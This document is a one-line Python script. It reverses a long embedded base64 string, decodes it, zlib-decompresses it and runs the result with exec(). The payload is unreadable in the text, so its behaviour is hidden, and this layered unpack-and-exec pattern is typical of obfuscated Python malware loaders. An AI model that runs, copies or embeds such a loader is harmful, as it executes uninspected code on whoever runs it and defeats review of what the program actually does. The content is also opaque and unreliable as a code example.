_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1])); exec((_)(b'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'))